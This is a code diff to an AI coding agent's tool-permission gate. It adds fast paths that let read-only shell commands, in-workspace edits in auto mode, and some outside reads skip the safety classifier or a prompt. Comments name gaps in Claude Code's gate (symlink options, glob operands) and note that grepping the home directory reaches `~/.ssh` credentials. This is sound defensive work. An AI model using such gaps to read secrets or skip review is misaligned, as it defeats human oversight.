+	 * The shell tools' own read-only check, in every mode, as Claude Code's Bash
+	 * and PowerShell tools approve a provably read-only command themselves before
+	 * any mode logic runs (findings §36, "Where Claude Code's pre-gate sits"). The
+	 * proof is the auto-mode pre-gate's, so its plugs for Claude Code's gaps
+	 * (symlink-following options, glob operands) hold here too. A safe verdict
+	 * that writes (an in-project redirect) is not read-only: it takes the mode's
+	 * path, where auto mode's pre-gate may still clear it. A read-only command
+	 * that reads outside the working space is judged like the read tools' outside
+	 * read. Plan mode has its own branch above.
+	 *
+	 * A model that gets Claude Code's fast paths also gets acceptEdits' shell
+	 * half, in acceptEdits mode and in auto mode (which skips the classifier for
+	 * anything acceptEdits would allow): a line made only of Claude Code's
+	 * acceptEdits file commands on the working space (`containedNonNetwork`), or
+	 * a safe line whose redirects land there. Workspace directories count as
+	 * working space for its writes. Cheap and tiny models keep the stricter path.
+	 */
+	const fastPaths = params.claudeCodeFastPaths === true;
+	if (subject && tool === "bash") {
+		const evidence = shellEvidence(subject, fastPaths ? params.workspaceDirs : undefined);
+		if (isReadOnly(evidence)) return { decision: "allow", cause: "read-only" };
+		if (evidence.readOnlyOutside && evidence.writes.length === 0) return outsideWorkingDir();
+		if (fastPaths && (mode === "acceptEdits" || mode === "auto") && (evidence.verdict === "safe" || evidence.containedNonNetwork)) {
+			return { decision: "allow", cause: "mode" };
+		}
+	}
+	if (subject && tool === "powershell" && params.powershellParse) {
+		if (powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots: sessionReadableRoots() }).readOnly) {
+			return { decision: "allow", cause: "read-only" };
+		}
+		// Claude Code's acceptEdits PowerShell cmdlets on the working space, the
+		// PowerShell half of the bash file-command fast path above.
+		if (
+			fastPaths &&
+			(mode === "acceptEdits" || mode === "auto") &&
+			powershellTreeContainedEdits(params.powershellParse, { cwd, home: homedir(), writableRoots: params.workspaceDirs, protectedDirs: params.protectedDirs }).ok
+		) {
+			return { decision: "allow", cause: "mode" };
+		}
+	}
+
+	if (mode === "auto" && (DELEGATION_TOOLS.has(tool) || CLASSIFY_IN_AUTO_TOOLS.has(tool))) {
 		return { decision: "classify", cause: "mode" };
 	}
 
@@ -942,25 +1288,30 @@ export function decide(params: DecideInput): Decision {
 	 * was allowed in every mode including auto and plan, and acceptEdits wrote
 	 * anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
 	 */
-	const inWorkingSpace = (): boolean => {
-		const target = params.resolvedSubject ?? subject;
-		const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath];
-		if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
-		return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
-	};
-	const outsideWorkingDir = (): Decision => {
-		if (mode === "auto") return { decision: "classify", cause: "working-dir" };
-		if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
-		return { decision: "ask", cause: "working-dir" };
-	};
-
+	const inWorkingSpace = (reads = false): boolean => workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, reads);
 	if (tier === "safe") {
 		// No path argument (grep/find/ls default to the cwd) is an in-project read.
-		if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
+		if (!subject || inWorkingSpace(true)) return { decision: "allow", cause: "tier" };
+		// Claude Code's auto mode reads outside the working directories without
+		// the classifier (the read tools are on its safe allowlist); the caller
+		// raises its one-time first-read prompt. A credential path is still
+		// judged: our plug, as in the shell pre-gate. So is a content search of
+		// anything but one file: pi's grep runs ripgrep with `--hidden`, and a
+		// directory's credentials sit anywhere below it (`grep` on `~` reads
+		// `~/.ssh`), where no check of the named path can see them.
+		const target = toAbsolute(cwd, params.resolvedSubject ?? subject, homedir());
+		const searchesTree = tool === "grep" && !isRegularFile(target);
+		if (mode === "auto" && fastPaths && !searchesTree && !isCredential(target) && !isCredential(toAbsolute(cwd, subject, homedir()))) {
+			return { decision: "allow", cause: "outside-read" };
+		}
 		return outsideWorkingDir();
 	}
 	if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
-	if (tier === "edit" && mode === "acceptEdits") {
+	// Auto mode skips the classifier for an edit acceptEdits would allow, on a
+	// model that gets Claude Code's fast paths: anywhere in the working space,
+	// workspace directories and execution-primitive files included. Outside it
+	// the edit is still classified.
+	if (tier === "edit" && (mode === "acceptEdits" || (mode === "auto" && fastPaths))) {
 		if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
 		return outsideWorkingDir();
 	}